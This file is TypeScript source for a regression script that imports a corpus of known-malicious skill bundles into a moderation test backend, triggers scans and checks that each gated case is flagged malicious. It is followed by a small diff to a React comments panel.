const gatedCaseIds = new Set(
cases.filter((entry) => entry.assertLiveMalicious).map((entry) => entry.caseId),
)
const failures = report.filter(
(entry) =>
gatedCaseIds.has(entry.caseId) && entry.moderationVerdict !== 'malicious',
)
if (failures.length === 0) return
const lines = failures.map(
(entry) =>
`${entry.targetSlug} owner=${entry.ownerRole} verdict=${entry.moderationVerdict ?? 'null'}`,
)
throw new Error(`Malicious corpus regressions detected:\n${lines.join('\n')}`)
}
function summarize(report: ReportItem[]) {
return report.map((entry) => ({
caseId: entry.caseId,
sourceSlug: entry.sourceSlug,
targetSlug: entry.targetSlug,
ownerRole: entry.ownerRole,
moderationVerdict: entry.moderationVerdict,
signalFamilies: entry.moderationSignals ? Object.keys(entry.moderationSignals) : [],
}))
}
async function sleep(ms: number) {
await new Promise((resolvePromise) => setTimeout(resolvePromise, ms))
}
async function main() {
const options = parseArgs(process.argv.slice(2))
const cases = resolveMaliciousCorpusCases(options.caseIds)
if (cases.length === 0) {
throw new Error('No malicious corpus cases selected')
}
const entries = cases.map(fetchProdSkillBundle)
const importResult = runConvexJson<{
imported: number
existing: number
errors: number
}>([
'moderationTestingNode:importMaliciousCorpusFromBundles',
JSON.stringify({
entries,
includeAdminVariants: options.includeAdminVariants,
userPrefix: options.userPrefix,
adminPrefix: options.adminPrefix,
}),
])
if (importResult.errors > 0) {
throw new Error(`Import failed for ${importResult.errors} malicious corpus entries`)
}
if (!options.skipScans) {
const scanResult = runConvexJson<{ errors: number }>([
'moderationTestingNode:triggerMaliciousCorpusScans',
JSON.stringify({
caseIds: cases.map((entry) => entry.caseId),
includeAdminVariants: options.includeAdminVariants,
userPrefix: options.userPrefix,
adminPrefix: options.adminPrefix,
}),
])
if (scanResult.errors > 0) {
throw new Error(`Failed to trigger scans for ${scanResult.errors} malicious variants`)
}
const deadline = Date.now() + options.timeoutMs
let report = fetchMaliciousReport(options)
while (!scansComplete(report) && Date.now() < deadline) {
pollVirusTotalQueue(Math.max(report.length, 10))
await sleep(options.pollIntervalMs)
report = fetchMaliciousReport(options)
}
if (!scansComplete(report)) {
throw new Error(`Timed out waiting for malicious corpus scans after ${options.timeoutMs}ms`)
}
assertMaliciousVerdicts(report, cases)
const output = {
importedCases: cases.length,
includeAdminVariants: options.includeAdminVariants,
importResult,
liveProviderGatedCaseIds: cases
.filter((entry) => entry.assertLiveMalicious)
.map((entry) => entry.caseId),
summary: summarize(report),
report,
}
mkdirSync(dirname(resolve(options.outputPath)), { recursive: true })
writeFileSync(resolve(options.outputPath), `${JSON.stringify(output, null, 2)}\n`, 'utf8')
console.log(JSON.stringify(output, null, 2))
return
}
const report = fetchMaliciousReport(options)
const output = {
importedCases: cases.length,
includeAdminVariants: options.includeAdminVariants,
importResult,
liveProviderGatedCaseIds: cases
.filter((entry) => entry.assertLiveMalicious)
.map((entry) => entry.caseId),
summary: summarize(report),
report,
}
mkdirSync(dirname(resolve(options.outputPath)), { recursive: true })
writeFileSync(resolve(options.outputPath), `${JSON.stringify(output, null, 2)}\n`, 'utf8')
console.log(JSON.stringify(output, null, 2))
}
void main().catch((error) => {
console.error(error instanceof Error ? error.message : String(error))
process.exit(1)
})
+6 -2
View File
@@ -38,6 +38,10 @@ export function SkillCommentsPanel({ skillId, isAuthenticated, me }: SkillCommen
const [reportNotice, setReportNotice] = useState<string | null>(null)
const [isSubmittingReport, setIsSubmittingReport] = useState(false)
const comments = useQuery(api.comments.listBySkill, { skillId, limit: 50 })
const commentEntries = (comments ?? []) as Array<{
comment: Doc<'comments'>
user: { handle?: string | null; name?: string | null } | null
}>
const submitComment = async () => {
const body = comment.trim()
@@ -137,10 +141,10 @@ export function SkillCommentsPanel({ skillId, isAuthenticated, me }: SkillCommen
{deleteError ? <div className="report-dialog-error">{deleteError}</div> : null}
{reportNotice ? <div className="stat">{reportNotice}</div> : null}
<div style={{ display: 'grid', gap: 12, marginTop: 16 }}>
{(comments ?? []).length === 0 ? (
{commentEntries.length === 0 ? (
<div className="stat">No comments yet.</div>
) : (
(comments ?? []).map((entry) => (
commentEntries.map((entry) => (
<div key={entry.comment._id} className="comment-item">
<div className="comment-body">
<strong>@{entry.user?.handle ?? entry.user?.name ?? 'user'}</strong>